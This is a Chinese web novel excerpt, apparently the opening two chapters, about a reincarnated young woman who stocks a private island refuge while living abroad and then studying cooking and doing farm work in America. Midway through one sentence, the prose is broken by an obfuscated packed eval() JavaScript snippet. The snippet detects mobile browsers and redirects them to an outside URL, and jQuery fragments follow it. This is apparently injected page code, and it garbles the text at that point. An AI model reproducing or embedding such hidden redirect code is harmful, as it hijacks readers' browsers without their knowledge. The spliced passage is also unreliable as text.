《灾难生存记事簿(超快穿)》
1. 开局一荒岛(一)
小区电路已经断了。使用发电机是要限电的,一家不到一千瓦的样子,取暖器还必须开低功率的。哦,大家都没有空调。
苏茜对这个开局已经算满意了。好歹小区有高墙铁丝网,还有巡逻雇佣兵,他们一人两把小型自动步.木仓,真实战斗力不可考,威慑力是够了。
可惜她还是得出门采购。在母亲离婚、父亲阵亡后,十六岁的苏茜充分利用母国的未成年人保护制度和本地十六岁成年的落差,开始一边领取救济款、抚恤金,一边干着跑腿和倒腾货品的活。
“五只烤鸽子,五个烤鱼卷饼,五份鸡肉,还有柠檬。”
“两桶油,这些精油也都要了。”
“三袋面粉,对的,这个牌子,请放在我的推车里。”
“对,当然是要我们本地的手工。我拿去送亲戚,特别受欢迎。”
“……”
苏茜把自己包得严严实实,压低嗓音,一口略慢的当地语言,戴着黑框眼镜和口罩,因为用了色号比较深的粉底,一点看不出是异国异族异教女孩子,更像个循规蹈矩的小妇人,力气还不小,是干家务的好手。
小区门口,她在雇佣兵警惕的目光中摘了眼镜口罩,拎着两个大帆布袋子,拿出通行证,比对后进门。没人会对她外套里的“民用”热.武.器有什么意见。这个时间段出门不带武.器才是脑袋有问题。
回到家,过了一会,她提着绳兜和油瓶,去敲隔壁二楼A户的门。
“简,你要的橄榄油和蔬菜。就是种类不多。”咳,因为给的菜钱不多。给够的话她可以将市面上能找到的都弄来。
“啊,真是太感谢了!”不多,也有四种蔬菜,看起来新鲜大份,且都不是最便宜的品种,加上连玻璃瓶加起来得近两公斤的油,总共差不多七八公斤的分量,还得去一公里外的当地人铺面才能买到,不管是开车还是徒步都不是那么美妙,所以她早上给的那两张钞票还是非常物有所值的。虽说如果在本国超市,她可以买到翻倍的食材,但收入补贴与这里完全不能比——不然谁会跑来这里啊!
“没事。下回需要采购打我家电话。”
“好的亲爱的。”简说最后那个单词的时候心情应该很不错。
苏茜微笑道别,回自家的底楼。这类底楼套间据说以前是让失宠的老妻或者是保镖佣人住的,采光不佳,不过面积尚可,有独立卫生间,是看在亡父的份上可以免费住到回国——主要是一时没有新租客。她一个“成年”单身女孩,就别想楼上租金不便宜的两室两厅了。
没有手机,没有网络,只有个固定电话。当然苏茜也没空找娱乐方式。
她一脚踏入自己的地盘。
嗯,一座海岛,目前只有光秃秃没啥叶子的稀疏灌木。别说鸟语花香,连虫子都没有,只有偶然经过的海鸟扔下的鸟粪。这里的土地因为过多海风和雨水的关系,撒种子下去什么都不会收获。好处是不缺淡水,因为经常下雨、半数是中到大雨,且冬季温和多余、夏季凉快无蚊。最可以救命的是,岛上礁石区有小海鲜,周围海域有优良蛋白质和海藻海带,只要没有海鲜过敏问题。
不出意外的,山洞庇护所里的火熄灭了,山腰的废弃集装箱因为门缺乏电动切割工具而打不开。倒是洞口的大水缸和一堆木桶塑料盆居然储了一半水,哪怕底部是一层沙也不能掩饰这是过滤后可以直接用来洗衣服的清水。
下回记得再买些盆。
山洞内面积不算大,甚至靠洞口的一小块空地还是苏茜用火烧水浇法掰下一块大石头后得到的,弄下来的那些碎石拌了点水泥加固了她挖出来的水塘——不加固的话很难说一年后还能不能找到。但由于几天没清理里面沉着的东西太多,只能用来第一遍清洗掉洗衣液或是大量污泥,然后拨开简易水渠放掉脏水,重新积攒。
洞里存了半吨矿泉水和用密封收纳箱收纳的一些东西,包括粮油调料压缩饼干、火柴炭煤、汽油柴油、寝具衣物、炊具餐具、药品器械、清洁消毒等等,外加管制器具比如战术刀和木仓。但是种子还有新鲜吃食就没有了。
发电机并非必需品,可以省下。
因为压根称不上慈父的亡父没有商业保险,而不算太多的抚恤金是回去护照发放国初期生存的依仗,她这两年赚到的堪堪只够自己吃喝和购买这些囤积的必需品——谁让自己上一世的存活时间太短,而上上两次生存都不在这个时空,东西要么坏了要么不能拿出来用……
现实房间里有冰箱,全被生鲜熟食塞满了;苏茜中间吃了顿午饭,好容易借到充电电钻两个小时的使用时间,将电钻都充满电又赶紧回岛上,抓紧将废弃集装箱的门锁切掉,又在山洞边打了好几个洞备用,赶回来充了会电再还回去。
为了维持人设,她还掉工具就准备了牛奶鸡蛋芝麻白糖蜂蜜黄油奶油坚果碎和小麦粉,快手快脚的也用了半个多小时才准备好几大盆面饼,然后一一塞进烤箱。
由于用料昂贵扎实,烤箱门一打开就香得让人流口水。
附近的小朋友闻到味道就来敲门,一个个地拿着好几种货币的硬币和纸钞或者家里的食品来交换。苏茜迅速找钱或是换算,比如拿来一大块不错的奶酪或是一整袋核桃就给四块饼,如果是一小袋快过期的面粉就只给一块。身为一名合格的“倒爷”,她记得绝大多数常见物品的零售价以及“外卖”价,以及知道十公里范围内哪里买、买多少最划算。
一小时后,她泡了两大壶当地特色草本茶,一个加薄荷、一个加玫瑰,而她自己则是一大杯热热的绿茶。
面向主妇和青少年的语言课程开班。
收费低、效果好,还能现场订换货哦!
“我没想到你的语言天赋那么好!居然阿语和希语都会,这是走到哪一边都可以!”一名外交人员的妻子订了明天的水果后说道,这位的闪含语系学得七零八落,结果一直被当地人以为是死对头而加以排斥。
“我毕业了,干脆就自学语言。而且都是闪含语系,总比日语好学些。”她没说这是“以前”为了多点工作机会而学习各种小语种的成果,那时网络和智能对练教师极度发达,学起来真的很快,可惜当时为了“学以致用”到处飞结果倒霉地死于空难……
“哦,你会一些日语吗?”
“会一些比较通用的,就是敬语用得不行,读写也有问题。”苏茜比划着用日语解释。对方本来就大的眼睛瞪得更大了。
“啊,我丈夫明年可能去亚洲,但不知道具体哪个城市。亲爱的,亚洲语言你会哪些啊?”
“……阿语,日语,华语,韩语,都是简单沟通。其他地方讲英语大部分都可以应付。”
“能买东西付钱就行!”
“我听说还有个广、东、话也很常用?”
“是华语的一种方言。华语的方言无法统计有多少种,一般你可以用标准华语或是英语就能搞定。如果你们要去港城,我可以教几句最经常用的广东话。”她老家啊!真羡慕,如果自己能弄到长期签证甚至居留权就好了。可惜现在这个年份似乎不那么方便,她的学历或是财力估计都不行。哦,也许可以留学?那什么,去老家“留学”要怎么办理?哦,不对,留完学搞不好还留不下来!算了,自己现在这张轮廓分明浅色头发的长相要彻底融入老家生活确实有点难度,尤其是现在这个年代,所以还是以后再说吧!
这以后指的,也许是这一辈子完结后的下一段开始。
* * *
刚听说有太阳能蓄电池卖,但是太贵、对环境温湿度要求也高,所以苏茜只能饮恨放弃,谁让岛上不缺雨水就缺阳光呢。换成各类电池,还有卫生用品,这玩意居然不太好买!品种少、价格贵,更不要说夜安、安睡这样的神器。她看了眼旁边有贵得有些离谱的纸尿裤,干脆也买了两大包。女店主或是店主老婆还帮忙用黑色袋子装了塞进购物推车,略让人无语。苏茜又买了些别的,包括三把不同规格的“菜刀”才回小区。
菜刀是她发现的最佳武.器,一次性使用屡试不爽,好用得不得了,还特别能解释得通,所以周边的七家卖菜刀的店她每一家都买过,为了不引起不必要的关注,这是“时隔”大半年后的第二轮采购了,她还特意换过造型包括夏季墨镜和纱面巾。
现在的岛上也处于夏季,这是少数让人欣慰的事,就是雨水不像冬季那样只有一阵,而是下两天晴大半天,平均一个月来两回暴雨。所以苏茜花了一周时间才陆续购买安装好雨布帘子。还有自己住的房子洗衣机有问题,她拆开看应该是电机坏了,但她刚买了件长款羽绒服,还有缝纫机、绒布料、充电电钻和电锯——全藏岛上——导致没钱买洗衣机,所以不得不临时手洗衣服。
也幸好没买。
当巨大的爆炸声响了两声后,所有人都已经抓起应急包冲出家门。
苏茜的应急双背包很大,是她少数买的品牌货,防水防尘耐磨、背带还符合人体工学,能装下可以扛零度的睡袋和隔温毯,以及册子上写明的全套应急物资。现在是旱季,基本不会下雨,不过她有得是装备可以“拿”出来。
火光距离小区很近,大家焦急地打开收音机,还有人用昂贵的卫星电话跟亲人联系。
苏茜没有亲人可言,有也是打听到没有保险金、抚恤金也不一定够律师费而缩回去——吃绝户这一点古今中外都很多,由此可见人性真的是一致的。
唯一打过她电话的居然是外祖母,不过苏茜告知对方自己给孩子们上培训课挣学费、另外还有救济和抚恤金足够自己支付两年私立大学的学费后就没飞过来,但非要她承诺回国后务必联系。所以,满十八岁就回国吧!
但大学就不用了,她想做的是把自己的荒岛建成能住好几年的家园,而不是临时帐篷。她考虑去农场找工作或者买个小农场,然后研究改善荒岛水土的难题。
一路想着,一路跟着大家呆在庇护所等消息。近三个小时的煎熬后,通讯恢复,他们这里没有被波及到。
大家又各回各家。
苏茜觉得还是买个洗衣机吧,走的时候和家具家电都放山洞里,到了新的地方也可以省下一笔钱。想到省钱,她不由叹气。之前用油纸、真空袋、收纳箱和铁皮箱一层层放好的好些品种货币和贵金属,在这个时间,不!能!用!要么压根没有发行,要么号码完全不对,还有金币银砖的样式完全不存在啊不存在。真是,那时怎么不多存点一刀的硬币呢?大概也只有少得可怜的黄金饰品可以打骨折价卖一点钱。
她清理冰箱里的食物,将不能继续放的统统热一下塞进肚子,然后整理房子里的物品,哦,还有骨灰盒,这个得放着,因为大家都知道。
水箱里的水已经过滤好,烧开,灌进热水壶和保温壶。滤芯和净水片这种东西她是当成战略物资来囤的,但凉白开就是当场喝掉……了?
在架子上的东西晃了几下掉到地上后,她下意识将手边的东西全部塞进山洞,重新背起背包冲出家门。
地震了。
但显然房子没有倒塌,通讯也没有完全中断。
很快消息传来,是隔壁国家地震,不是特别严重。
“今天真是艰难的一天——”一名刚回到家就穿了拖鞋抱着孩子跑出来的男子嘀咕着又回去了。
苏茜决定明天去买两箱驱蚊水之类。要不三箱,加上几顶蚊帐和蚊帐架子什么的。哦,这里的工业制品蚊帐还是老家生产的,使用就是不怎么简便。或者她还是搞错年代了,老家现在的制造业还没有到自己曾经熟悉的那种水平?
接下来的日子倒是恢复了平静。
让她跑腿的单子更多了。大家在发现自己的口音在跟当地人讨价还价的时候更为不利后,越发不高兴出门。可是这里的女人是不骑自行车也不开车的,所以她“锻炼身体”的机会更多了,几乎每天得走十几公里。
幸好没有店家拒绝卖运动鞋给女性,更不会抱怨一次买一打运动鞋的顾客,即使店主需要给点折扣。
品牌运动鞋真的是苏茜在服装上最大的支出了。普通衣服尤其是本地长衣服她现在能自己剪裁制作,最多不太好看,但鞋子和羽绒被服这类东西是真没法自制。
山洞里快塞满了,地面都是铺着木板材,还放了个木床加防潮垫。在潮湿和日夜温差大的环境中,这些东西大多数存放不了多少年就得像上几辈子的“垃圾”一样扔海里或是被大风吹进海里,除了塑料制品都塞进泥洞,但她目前没办法。其他不怕水的物资则堆在废弃集装箱里,包括一张不锈钢床——这床比木床还便宜,因此肯定不怎么防锈,可眼下也顾不了那么多。
还有一年自己就成年了,可以回去找活干,顺便清理荒岛,研究怎么弄房子。上上上世和上上世她待的是遥远古代,除了研究些奇奇怪怪的东西弄死自己、避免被周围人搞得惨死之外一事无成,留下的棉衣棉被也都成了纤维垃圾;上一世自己拼命学习工作赚钱,还没来得及搞个房子就没了。除了这个山洞庇护所,她其实一无所有,连赶海的时间也没,都在折腾基本生存……
苏茜叹了口气,急着回到现实的屋子里。
有人来敲门,在清晨时分。大家期待已久的东西终于运到了,包括国内的包裹信件、采买的物品,以及医药食品。
苏茜没有订货、因为太贵了,但是限量药物和单人帐篷等必需品还是得买的。
上个月就留出来的货款,除了银行卡里的那笔抚恤金,她手边又没有钱了。
行吧,过两天大家又会交培训费了,加上采买的差价,日子还是可以过下去的。
……
苏茜其实是非.法移民第三代,不过因为她自己出生在美利坚,所以有护照。而小的时候母亲有兴致的时候会说几句外祖母跟着家人徒步穿越了两个国家奔赴黑户之路的“壮举”。
不过……她面无表情地看着不远处一堆的血块和残存的纺织品和金属颗粒,那一堆之前是位十七岁的漂亮姑娘,“有机会”嫁给一个富有的外国男人,不过还是选择了尸骨无存。如果让她去嫁个老头当老婆之一、一年生一个孩子,她也宁愿去死。但是!这姑娘不应该去伤害其他无辜平民,确切的说是几名女学生,她们只不过在目标附近的站点等车罢了,就被同族同教的同性炸死炸伤,而目标人物啥事没有……
苏茜不想发表议论,绕过兴奋地到处找人采访的记者们,一气跑了三公里,就为了赶紧将一只不算小的西瓜送给邻居。送完货,揉了揉胳膊上的肌肉,回家切开给自己买的那个小很多的瓜。嘿,还真甜!对得起这价格。
一边吃,一边看研究资料。
现在可没有方便快捷的网络,要不是三楼有个家世和成绩都不怎么样的男孩子正在研究大学资料,她完全两眼一抹黑。
“我打算先去看望外祖母,看看那附近有没有工作做,然后再考虑要不要再念个社区学院或者夜校。”反正她有本地的高中毕业证书,那时她申请跳级提前毕业,考试成绩也堪堪合格,主要是交完了全部学费,所以搞定了高中学历,还去领馆做过认证。
“夜校不如社区学院,那些初级培训太粗浅了。不过你的外语那么好,应该可以做很多工作养活自己。”男孩艾纳姆还是好心地建议。他成绩太差,想选个好些的社区学院,然后找机会再去念个比如医科。可他真的担心自己欠了贷款依旧毕不了业。
苏茜对他的“伟大志向”很是无语,不过也没有多说什么,只是表示了感谢。
嗯,芝加哥剔除,纽约太贵,小镇的话封闭又买不到东西,天使之城晚上的犯罪率跟前面两座著名的有过之而无不如……她结合地图册跟之前自己的印象——不少来源于上一世看的影视作品——选了跟外祖母住的镇子比较近的得城,机械之城不算闭塞,人少又安全。另外,那里的社区学院里有个吸引她的专业:烹饪。
* * *
“哦,是的,我在那里高中毕业,会好几种语言,父亲也留下了八万块……谢谢您的帮助!”
打发走三拨各色人等,苏茜很庆幸去掉飞机票后仅剩的八万块是个非常合适的数字,不用交税,不会被恶意的“亲朋好友”拿走骗走抢走,也不会引来过于善良的好人让她左右为难。
最重要的是,她硬等到满证件上的十八周岁后才辗转三趟飞机回国,避免了监护权银行账户考驾照买房子等等一系列问题。她现在没有房子没有家族没有朋友没有同学,而且“觉醒”前的自己会阿语西语和一点希语口语,英语却不怎么样,亚洲语言更是一窍不通。她不得不买了一堆书每天除了跑腿就是看书才把英语拉回“正常”水平。
“奶奶我回来了。周六上午能到你家。”
“哦哦!上帝保佑,你平平安安地真是太好了!”
达亚娜快七十了,三个子女只剩下一个女儿不知道在哪里,几年才从外国寄一张明信片。孙辈倒是有好几个,但其他人只有在失业没地方去的时候才跑来她这里白吃白住一段时间,但一般不超过三个月就被小镇的无聊和她少得可怜的收入吓跑了。只有女儿的女儿在乱糟糟的外国挺到成年才回来看望她——还不要求吃住或者要钱,因为对方说要去看学校并且住在学校附近,还跟她打听可以打零工的农场。
“农场?你确定?”十八岁的女孩子怎么可能乐意干农活?
“我穿运动鞋有五尺八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976273|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身高,力气挺大,体力也不错,会开拖拉机,对种植挺有兴趣,但是如果是有机种植园招零工更好。”
“好的,我帮你问一下。”
“帮厨也可以。我打算去学烹饪艺术。还有体检报告。”她本来想考商业驾照的,可惜年龄驾龄不足,只能弄个普通驾照。
“你没有选计算机?”那个不是又时髦又能赚钱的专业吗?
“我宁愿做吃的,又能养活自己,还能吃得好一点。我受够了每天吃一样的面饼和鸡肉。”这个时代的计算机?别开玩笑了!她宁愿去学农机制造。
“哦,可怜的苏茜!”其实她自己也是每天吃着同样的面包沙拉和鸡肉香肠……不过想来外孙女之前生活的地方更糟糕,之前打过仗,现在仍然随时有被炸死的危险!
苏茜倒不觉得如何。她找出来之前存下的钞票,在大量比对本地本时代货币后,谨慎地选出了不会出问题的小面额纸钞和硬币,加起来有好几千块,用来采购了一批可以放十米水底的密封箱以及各种钻洞、伐木、种地、海钓工具,再加上粮食蔬菜水果和种子,然后钱又没有了。
要不以后就买辆拖挂型露营车,这样住所也解决了,还可以将后面的露营车直接弄进荒岛当屋子用。可惜连车在内的费用会让她瞬间将账户余额清空的。
连续几辈子的短命让苏茜对股票和住宅等等都不考虑,相反,她对武.器极其热衷,刚飞到得城就去搞了证和木仓,以及子.弹——还不乐意浪费钱租射击场地。对于练习射击这种事情,苏茜表示,她有得是不扰民的场子,还自带大风“帮助”训练射击技术的哦!至于冷武.器,嗯,从□□到蒙.古弓她都有,还都不贵。可惜现代技术弩弓箭超预算,暂时放一放。
第二件事是买了辆比较新的二手车,现货,当天取车。
第三件事找房子和旅馆,顺便买条厚实绒裤,配上长羽绒,不会冻死。
第四件才是去学校注册春季入学。
“……当然!我们烹饪专业欢迎女士们的加入。”事实上浪费学费和时间在大学里学烹饪专业的女生并没有想象的多,男士们普遍认为家庭主妇都是自带煮饭技能,而只要有啤酒和肉类,一顿晚饭就过得去了,何况还有罐头这种神器不是。至于职业厨师,还是以男士居多。
“谢谢。我先报名烹饪专业,和,意语专业,我可以选择旁听吗?还是需要报名交学费?”
注册教师愣了会。厨师和意语,有联系吗?哦,法国大餐实际上来源于意大利?但总觉得这理由太牵强。“你可以一起报名,但是上课时间会有冲突。”很多学生会想充分利用两年的时间多学点东西,但成功拿到文凭的不多,同时拿两个副学士学位的更少。
“好,那我报名。”七万八千多,足够她交六个专业的学费了。但除了学费还有保险费、生活费等等,更多的还有囤货采购的支出。所以交完钱,苏茜就马不停蹄去跟中介看房子,定下一间有独立卫生间和洗衣机取暖器,“甚至”还有床架和窗帘的顶楼房间——其实属于家徒四壁类型,连冰箱都没有,也所以房租还不到两百块。
目测这房间的夏季很“火热”。不过她的岛上夏季最热的夜晚也需要盖条薄毯垫个褥子。恩,没有厨房和微波炉、烤箱的问题也好解决:生炉子。
至于冰箱,她会自己买个冰柜的。反正房间虽然屋顶有个倾斜角度,但是面积不小,近三十平米,还有个颇大的露台,房东女士说平时其他房客和她本人很少上来,所以她可以安置非永久建筑比如遮阳伞之类。
“我很满意,今天就可以签约吗?我明天就住进来。”
“当然好!”早收一天房租,好事啊!
“我可以种一些盆栽型蔬菜吗?比如草莓、薄荷之类的?”
“哦,可以,但是我没有现成的花盆。”
“好的,这个我会自己弄。”
“……”
“……”
得城距离小镇近一百公里。
苏茜大早上退了房,买袋面包,自己泡一壶速溶咖啡——现在似乎还没有挂耳咖啡——按地图配合指南针开车上路。
她憎恨没有手机导航软件的时代。
两小时后她才找到外祖母住的房子。
一栋不到百平米的平房,门口小花坛和信箱。花坛还是有些绿色的,沿街的窗拉着印花厚窗帘,建筑本身和门的款式不算老旧。在小镇属于温饱线上方,也没有多余的房间对外出租赚生活费。
门铃响了两下,门就开了。一个衣着齐整、头发花白的老太太开了门。
“达亚娜?”
“苏茜!”老太太居然只穿了衬衣开衫、单层棉袜和布长裙,但是和零下的天气非常不符。
“哦,我们快进去,你穿得太少了。”苏茜还背着背包就将老人推进门。
客厅起居室有桌子,应该是兼餐厅、还连着半开放式厨房,面积不算小,还连着三扇窗,不过暖气效果还算可以。没有壁炉。
苏茜关上门,放下背包,脱了长羽绒服。里头绒裤和高领毛衣,加上微卷但没有发型可言的及肩头发,一点也不青春时髦。
“你长得跟你妈妈挺像。”
“我们头发的颜色不一样,不过眼睛的颜色和形状差不多。”苏茜拉开背包拉链。这个超大背包之前是应急包,现在仍然是不论装多少东西都撑得住,质量杠杠的。
“你之前过得好像不错。”身高体型面色乃至牙齿,看不出大问题,连雀斑晒斑都不明显,显得一张脸蛋儿勉强称得上好看。呃,小东西没化妆,所以一眼可以看出皮肤状态很不错。
“是的,只是偶然有爆炸,去年还有一次地震,但我住的小区还是很安全的。”她拿出来带给唯一真心关心她的亲人“土特产”,是一大瓶复方玫瑰精油和一条色彩艳丽的手工织毯。不轻不重的礼物,正好合适。
达亚娜用红茶包泡了一壶茶,旁边是奶罐和糖罐,还有铁盒装黄油小饼干、刚开封的那种。苏茜加了牛奶没加糖,她有种吃下午茶的错觉,这也许跟她偏英式的口音有关?
可现在快十一点了。
聊了会儿天,吃掉一杯奶茶跟七八片饼干,苏茜表示,“达亚娜,我给你做一顿中东风味的午餐吧。”远东估计不可能,因为这家里应该没有大米和酱油。
“哦,亲爱的,”达亚娜显然非常吃惊,“我们中午去餐厅吃饭吧,那里的食物更受年轻人欢迎。而且我怎么能让你做饭!”
“没事,我不喜欢太美式的食物。当然,英式的更糟糕。”
最后,两个人在一点的时候吃到了刚出炉的馕饼大盘鸡,不,土豆洋葱西红柿炖鸡块,加点橄榄油翻炒下,少许红酒和水,上面再盖一层奶油鸡蛋面饼当锅盖,焖烧到面饼也盖不住那份香味。
达亚娜差点眼珠子都瞪出来,不过最后出锅的时候她吃得跟苏茜一样多,明显撑得慌。
“天哪,苏茜,我现在相信你已经具备大厨水准了。”
“因为你很少吃这种风格的食物,觉得新奇。但如果每天都吃相同的,半个月后你绝对会对汉堡可乐馋得不得了。不过我这个星期已经受够了吃汉堡和三明治。”
“哈哈哈——”达亚娜将咖啡粉给苏茜,然后发现滤纸上个月就用光了。老太太其实平时也是用的速溶咖啡……
苏茜无所谓地找出来小锅子,洗干净加水和三勺咖啡粉放在炉子上烧,水开后又稍等一会,然后关火沉淀,慢慢倒进茶壶、剩下绝大部分的咖啡渣,然后在茶壶里加入两块方糖,继续沉淀片刻,倒进茶杯兼咖啡杯。
土耳其咖啡?
好像有哪里不对,不过无所谓。苏茜吹了吹,轻轻抿一口咖啡液,还行。
达亚娜也跟着慢慢啜饮。确实哪里有些不对劲,不过,总还是咖啡。
“慢慢喝,不要晃,可以留下咖啡渣。”
“……”
两个人一顿饭算是荤素碳水俱全、吃到酒又喝咖啡,成本加起来也没有超过十五块,比去餐厅新奇且便宜。
又坐了会儿,达亚娜提到三月份会有两个农场会需要零工,到时候会介绍苏茜过去干活,另外还将两个农场的电话给了苏茜。
不到三点,苏茜告辞开车回城,让达亚娜休息。她不住这里、不占便宜,但是大家保持良好的亲戚关系。
路过一家店的时候,她下车,认真比对了下花园小板房的性价比,最后遗憾地买了个折叠梯子跟户外充电器,还有十个塑料花盆。一是那板房见鬼地要四位数的美刀,二是她的车子塞不进去。
到周末,她的账户只剩下六万出头。
是时候“重操旧业”了!
2. 开局一荒岛(二)
“咬住牙,舌尖定在上排牙齿的牙龈,发气声……对,体会一下和英语细微的区别。”
“哦,这个没办法,练一个星期,每天一个半小时,总会练出来的。”
“嘿,当地人都不像你这样夸张的礼仪,但是如果你说了女生用语,嗯,大家会怀疑你是女扮男装——不,不是男同,男同也是用男生用语的,只有女生或者男扮女装的坏蛋甚至罪犯,或者女扮男装的正常人。”
“……”
作为一个语言“天才”,苏茜每天装作很轻松、实则天天背单词语法例句到半夜,硬是维持着意语第一名和国际语言专业方向超级培训师的角色。至于烹饪课程,因为一手刀工和多变的风格,让没有被网络视频大量冲刷过的师生目瞪口呆,她甚至用鸡胸肉的七种截然不同的菜肴和搭配的七种酱料,“创造性”地提前结束了第一个学期的学习,召唤出优等成绩。
下个学期涉及到食品供应安全管理,这玩意她不擅长,到时候肯定要耗费精力的,加上期间的农忙零工,估计意语成绩会受影响——跟赚钱相比,成绩可以先放一放。
匆匆打发掉付费的学生们,她跑出教室,开车赶往农场。明天一早就要开工,她现在就得过去,睡一觉后干活。
“苏茜——右边那一排——”
“明白!”
九名员工,换人不换机器,连农场主十一岁的儿子都来帮忙打下手。今年播种可能有所提前,所以要将需要处理的土地都整好,然后才等天气预报选择最适宜的时机。这几天苏茜都是学校里请假来干活的,在农场生活和工作的家庭里的孩子也有不少会请假,本地学校都习惯了。
到了播种季又是一轮忙活。这个时候借机找化肥供应商代表以农场价多买几袋各类肥料很简单,顺道还可以在自己荒岛上不到三英亩的贫瘠土地上“练习”如何开农机。
而在棉花收获季前的两个周末,苏茜还去附近的屠宰场免费帮忙,并以做实验为由将大量猪下水“垃圾”拉走不少抵工钱。
唯一让人郁闷的是,这些打零工劳动挣的辛苦钱全部投进采购农资里去了,她还是没钱买发电机,或者说发电机还没有太大的采购必要,所以给学生们做课外培训挣的一点零用都花在房租吃用,还得留出一笔税款。
在报税这一点上,苏茜-奥尔森女士是非常遵守规定的,还会为了三百块的零工现金收入给税官打咨询电话,结果搞半天全部收入加起来还没到交税起征点,弄得对方无语了整整半分钟。
荒岛上雨水“充沛”成灾,但也不是一点规律也没有。在买了不少监测小仪器、“借用”了一堆检测工具后,苏茜自己用水泥石头弄了十几小块水田和两公里多的排水泄洪道,跑去农业专业弄来实验级粪肥添加剂,还拍胸脯承诺通过外祖母小镇那边的人脉做私人实验日记,实际上就是在荒岛上用猪粪做有机肥。
效果还不错。
她甚至“热情”地成为学生和牧场主之间的纽带,可惜添加剂本身不是很成功,使用说明必须她亲自解读亲自操作,不然牧场工人绝对搞不定。因此得到的有机粪肥数量少成本高,只有她一个人“笑纳”。
农业专业的学生实在有些不好意思,想分给她一些试验经费却被她拒绝了,理由是她在自己“借来”的地块上种出来不少有机蔬菜,一个夏季为她和外祖母省了百来块的菜钱。
事实上收获的生菜和西红柿太多,她还跟镇上居民交换了不少食物和木头之类。
“成本太高了,也卖不出去。不然我们可以拓展一门生意。”
“我觉得挺好,最起码家里现在味道好一些了,我们能自己吃到新鲜蔬菜,还可以跟人交换着吃。”
附近最“小”的养猪场老板夫妇,因为需要自己干活,即使用了一堆法子解决猪粪和屠宰问题,可还是时不时一身异味。这是他们自己一点点建起来的地方,起初就是失业后找个活路买下一块水土不太好的小地块,然后为了全家吃到肉。现在自己年纪渐长、孩子们也都去了城市不肯回来闻臭味,工人工资逐年看涨,产品价格却很难提高。他们有卖掉牧场的念头,但大公司根本看不上还不到十英亩的“迷你”养猪场,加之建筑物纯粹就是工人宿舍等级,压根卖不上价。
“亲爱的,这就是我们的养老金,哪怕我们两个只养十头猪,至少可以吃饱肚子。”六十岁的牧场主对妻子说道。一个工作好几年的工人辞职了,其他地方给的工资一年多足足四千——他们给不起。
“如果你们不介意我还有课要上的话,我可以经常来干活。你们只要给零工的费用。”苏茜偶然听到他们在讨论牧场售价问题,过来自荐。她跑来打一小时才五块的重体力零工,纯粹是看中免费肥料和成本价猪肉。
“苏茜,好姑娘,”力气大、不怕脏、工资低,只需要主家给口热水、连速溶咖啡都是自带的任劳任怨的零工,根本找不到第二个!“我们给你六块五时薪,工作时间随便你,哪怕是半夜,你告诉我时间我就给你算工资!”
* * *
暑假里,苏茜去当了农业专业两个实验小组的助手,外加一个农场和一个牧场的零工。干活干得飞起,赚的勉强抵得上车子后面拉着的小型拖挂露营车价格加油费,工作开车间隙她就在里面休息,可比没有空调的农场养猪场舒服多了,就是耗油量略大。但考虑到由于没有老家生产的竞品,这里的空调贵、安装费更贵,换住处还要付一大笔工钱;相比之下,午后和夜晚在露营车里睡觉总体还是划算的。
“苏茜,我怎么感觉你的刀挥起来不太像在切菜?”像在砍劫匪的样子。还有,谁会用菜刀耍刀花来着?!
“哦哦,这个肉啊。我刚好想起来,就是上周,我在学习屠宰,对,就是拿了这么长的刀分割猪肉然后立刻冻起来。有俩家伙开了车,没有遮住车牌但是把脸蒙住了,不知道来干嘛,结果我就拿了刀出去,这么挥了下,他们就开车跑了。”
“……”
“我还把车牌号告诉警局了,让他们记录在案,省得下回这俩蠢蛋把车牌号遮起来。”苏茜没说镇上警局把这两个人的个头发色车辆跟隔壁镇的另一个抢劫案联系起来,在同僚那里卖了个好。
“……”
这个时代的女性虽然彪悍,但真的也没有流行冲着劫匪挥一柄20英寸长的杀猪刀——四十年后也没有。
烹饪专业之所以塞进了艺术学院,首先就得好看。
苏茜的蓑衣黄瓜和橄榄油烤综合蔬菜一开门就获得压倒性优势。一圈圈卷起来整整齐齐、颜色漂亮,强势快速的刀工优势让其他有基础和没基础的同学目瞪口呆。可惜这里不流行炒菜,不然她能表演勾火颠锅。
而轮到小组“节目”,苏茜现场在窗下一小片空地上用石板烤肉。石头、石板和木头都是现成的,直接“从车上”拿来,她甚至“表演”了一把放大镜生火——如果不是太夸张,她可以用燧石铁片棉花絮表演。瘦猪肉切得非常薄,海盐和一大把融合香料在石臼里捣碎,生蚝肉切碎煮熟加酱油调成糊,然后用自制蚝油和香料粉腌制。石板已经烧烫,生菜翻面烤半熟,再煎腌制过的新鲜猪肉片。做法不稀罕,胜在食材好。
从搭灶生火到将肉片裹进生菜里吃,因为有三个组员共同帮忙,苏茜总共四十分钟就完成余兴节目野外烤肉。哦,边吃还边唱了一段水平不怎么样的意大利语歌剧。歌词发音没问题,可惜大家都听不出来她努力了一段时间才背熟歌词。
石板猪肉还挺好吃的。
吃完,再赶一篇意语小文章——再次诅咒没有网络和人工智能的世界——苏茜扛了一堆书和食物回住处顶楼。
食物放小冰柜,一部分书带进岛。
荒岛上时不时会刮大风,东南和西北风、小中大到暴雨都有,但不下雪。大风会将枝叶石头扔得到处都是,不过将将树连根拔起的情况是没有的,因为现在岛上没树。
所以她还是可以考虑造个小房子安置发电机的,只是选址朝向需要认真选择。另外,太阳能面板可经不起超过五厘米的石头从空中砸下,会漏电,多砸几下就会坏掉,这是她一直犹豫要不要买太阳能电池组的原因。考虑到使用寿命以及居住时长,汽油小发电机应该是个更好的选择。
话说,现在应该有便携小发电机吧?即使没有自带USD接口,可起码能买到稳压器插头?另外,便宜板房在没有老家供应商的情况下应该是买不到便宜货,那么花园工具房呢?太空舱和集装箱小屋呢?!
苏茜在得城里团团转,愣是没有找到低于五千块的东西。
她印象里这个年代物价没这么高吧?看看房租和时薪,还有一百块自己挖了带走的一大捆小树苗,再看看让人心悸的“工业品”,她考虑改投机电学院!
“……你想想,本来开在一样的平原农场里就让人视觉疲劳,然后,哇,突然出现一座座太空舱!你是认真的吗?外星人进攻了?”
学生们嘻嘻哈哈笑成一堆。
